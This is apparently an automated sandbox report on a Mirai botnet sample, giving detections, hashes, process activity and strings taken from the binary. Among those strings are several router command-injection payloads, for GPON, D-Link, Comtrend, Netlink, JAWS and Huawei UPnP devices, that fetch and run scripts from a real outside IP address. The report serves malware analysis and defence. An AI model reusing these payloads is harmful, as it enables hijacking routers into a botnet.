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Linux Analysis Report
MUuRNNXESN

Overview

General Information

Sample Name:	MUuRNNXESN
Analysis ID:	679632
MD5:	99edb6a756fdffce917217e1b5804ddf
SHA1:	22d88f2e2e1e19e78fda1a4963d74117c1a076c2
SHA256:	53daedfc1abe3477c33ecdedb8a8243fabcd5e5bb6bff55e8da14dc75fdc7efb
Tags:	32elfmirairenesas
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Yara signature match

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Sample listens on a socket

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679632
Start date and time: 06/08/202207:35:37	2022-08-06 07:35:37 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	MUuRNNXESN
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal64.troj.lin@0/0@0/0

Warnings

VT rate limit hit for: http://46.23.109.47/Cloud/Cloud.mpsl;chmod

Runtime Messages

Command:	/tmp/MUuRNNXESN
PID:	6230
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Connected To CNC
Standard Error:

Process Tree

system is lnxubuntu20

MUuRNNXESN (PID: 6230, Parent: 6125, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/MUuRNNXESN

MUuRNNXESN New Fork (PID: 6232, Parent: 6230)

MUuRNNXESN New Fork (PID: 6233, Parent: 6230)

MUuRNNXESN New Fork (PID: 6235, Parent: 6230)

MUuRNNXESN New Fork (PID: 6238, Parent: 6235)

MUuRNNXESN New Fork (PID: 6239, Parent: 6235)

MUuRNNXESN New Fork (PID: 6243, Parent: 6235)

MUuRNNXESN New Fork (PID: 6245, Parent: 6235)

MUuRNNXESN New Fork (PID: 6246, Parent: 6235)

MUuRNNXESN New Fork (PID: 6247, Parent: 6235)

MUuRNNXESN New Fork (PID: 6248, Parent: 6235)

MUuRNNXESN New Fork (PID: 6253, Parent: 6235)

MUuRNNXESN New Fork (PID: 6254, Parent: 6235)

MUuRNNXESN New Fork (PID: 6255, Parent: 6235)

MUuRNNXESN New Fork (PID: 6256, Parent: 6235)

MUuRNNXESN New Fork (PID: 6261, Parent: 6235)

MUuRNNXESN New Fork (PID: 6263, Parent: 6235)

MUuRNNXESN New Fork (PID: 6264, Parent: 6235)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
MUuRNNXESN	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x19f38:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19fa8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a018:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a088:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a0f8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a368:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a3bc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a410:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a464:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a4b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
MUuRNNXESN	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6230.1.00007f4db442c000.00007f4db442d000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x584:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x5f8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x66c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6e0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x754:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x9d4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa2c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa84:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xadc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xb34:$xo1: oMXKNNC\x0D\x17\x0C\x12
6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x19f38:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19fa8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a018:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a088:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a0f8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a368:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a3bc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a410:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a464:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a4b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x19f38:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19fa8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a018:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a088:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a0f8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a368:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a3bc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a410:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a464:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a4b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6233.1.00007f4db442c000.00007f4db442d000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x584:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x5f8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x66c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6e0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x754:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x9d4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa2c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa84:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xadc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xb34:$xo1: oMXKNNC\x0D\x17\x0C\x12
Click to see the 1 entries

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: MUuRNNXESN

Avira: detected

Multi AV Scanner detection for submitted file

Source: MUuRNNXESN	Virustotal: Detection: 50%			Perma Link
Source: MUuRNNXESN	ReversingLabs: Detection: 52%

Source: /tmp/MUuRNNXESN (PID: 6230)

Socket: 127.0.0.1::44455

Source: MUuRNNXESN	String found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
Source: MUuRNNXESN	String found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
Source: MUuRNNXESN	String found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
Source: MUuRNNXESN	String found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
Source: MUuRNNXESN	String found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
Source: MUuRNNXESN	String found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
Source: MUuRNNXESN	String found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
Source: MUuRNNXESN	String found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
Source: MUuRNNXESN	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: MUuRNNXESN	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: MUuRNNXESN	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: MUuRNNXESN, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6230.1.00007f4db442c000.00007f4db442d000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6233.1.00007f4db442c000.00007f4db442d000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13

Source: Initial sample	Potential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114'$ HTTP/1.1
Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+;wget+46.23.109.47/Cloud/Jaws.sh;chmod+777+;sh+Jaws.sh HTTP/1.1
Source: Initial sample	Potential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0

Source: classification engine

Classification label: mal64.troj.lin@0/0@0/0

Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6235/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1582/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2033/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2275/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/3088/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6191/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6192/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1612/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1579/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1699/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1335/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1698/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2028/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1334/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1576/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2302/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/3236/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2025/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2146/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/910/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/912/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/517/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/759/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2307/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/918/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6241/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6243/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6245/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6247/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6246/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1594/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2285/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2281/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1349/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1623/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/761/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1622/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/884/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1983/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2038/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1344/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1465/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1586/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1463/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2156/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/800/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6238/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/801/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1629/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6239/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1627/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1900/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/4470/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6254/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6253/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6256/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6255/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/4354/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/3021/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/491/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2294/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2050/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1877/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/772/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1633/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1599/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1632/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/774/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1477/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/654/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/896/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1476/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1872/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2048/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/655/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1475/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2289/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/656/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/777/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/657/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/658/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/4467/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6248/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/4468/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/4469/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/419/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/936/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1639/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/4503/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1638/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2208/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2180/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6263/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6264/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1809/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1494/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1890/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2063/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/2062/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/6261/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1888/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1886/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/420/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/1489/exe
Source: /tmp/MUuRNNXESN (PID: 6232)	File opened: /proc/785/exe

Source: /tmp/MUuRNNXESN (PID: 6230)

Queries kernel information via 'uname':

Source: MUuRNNXESN, 6230.1.00007ffe4dbd5000.00007ffe4dbf6000.rw-.sdmp, MUuRNNXESN, 6233.1.00007ffe4dbd5000.00007ffe4dbf6000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/MUuRNNXESNSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/MUuRNNXESN
Source: MUuRNNXESN, 6230.1.00007ffe4dbd5000.00007ffe4dbf6000.rw-.sdmp, MUuRNNXESN, 6233.1.00007ffe4dbd5000.00007ffe4dbf6000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: MUuRNNXESN, 6230.1.000055ec0c78c000.000055ec0c7ef000.rw-.sdmp, MUuRNNXESN, 6233.1.000055ec0c78c000.000055ec0c7ef000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: MUuRNNXESN, 6230.1.000055ec0c78c000.000055ec0c7ef000.rw-.sdmp, MUuRNNXESN, 6233.1.000055ec0c78c000.000055ec0c7ef000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: MUuRNNXESN, type: SAMPLE
Source: Yara match	File source: 6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: MUuRNNXESN, type: SAMPLE
Source: Yara match	File source: 6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
MUuRNNXESN	51%	Virustotal		Browse
MUuRNNXESN	52%	ReversingLabs	Linux.Trojan.Mirai
MUuRNNXESN	100%	Avira	LINUX/Mirai.bonb

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://46.23.109.47/Cloud/Gpon.sh	19%	Virustotal		Browse
http://46.23.109.47/Cloud/Gpon.sh	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Cloud.x86	18%	Virustotal		Browse
http://46.23.109.47/Cloud/Cloud.x86	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Cloud.mpsl;chmod	100%	Avira URL Cloud	malware
http://46.23.109.47/Cloud/Cloud.mips;	100%	Avira URL Cloud	malware
http://purenetworks.com/HNAP1/	0%	URL Reputation	safe
http://0.0.0.0/Cloud/Cloud.x86	0%	Avira URL Cloud	safe
http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://46.23.109.47/Cloud/Gpon.sh	MUuRNNXESN	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.23.109.47/Cloud/Cloud.x86	MUuRNNXESN	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114	MUuRNNXESN	true	Avira URL Cloud: malware	unknown
http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI	MUuRNNXESN	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	MUuRNNXESN	false		high
http://46.23.109.47/Cloud/Cloud.mpsl;chmod	MUuRNNXESN	true	Avira URL Cloud: malware	unknown
http://46.23.109.47/Cloud/Cloud.mips;	MUuRNNXESN	true	Avira URL Cloud: malware	unknown
http://purenetworks.com/HNAP1/	MUuRNNXESN	false	URL Reputation: safe	unknown
http://0.0.0.0/Cloud/Cloud.x86	MUuRNNXESN	false	Avira URL Cloud: safe	unknown
http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$	MUuRNNXESN	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	MUuRNNXESN	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.842017488315144
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	MUuRNNXESN
File size:	111724
MD5:	99edb6a756fdffce917217e1b5804ddf
SHA1:	22d88f2e2e1e19e78fda1a4963d74117c1a076c2
SHA256:	53daedfc1abe3477c33ecdedb8a8243fabcd5e5bb6bff55e8da14dc75fdc7efb
SHA512:	439cbbf92451d89ddf4ace00b958137d33a15a946be07bdea2e963d8347c02ffb93c4d4749d8d4a3a982958d156a647371db292f6766eea8f66c265183e635a0
SSDEEP:	1536:XYaPcU+0/umiqAL6s179culEl0zGGytofs34S6E/ZjJjuJtmGtICkgEy2R:IgcUp2mn7s179cuAOf+4zEfjuJtmGtI
TLSH:	68B39E21D0E0EDE4C2604634B2E1E93EC336DD0874972DF6F645CA99504BED8F5A93BA
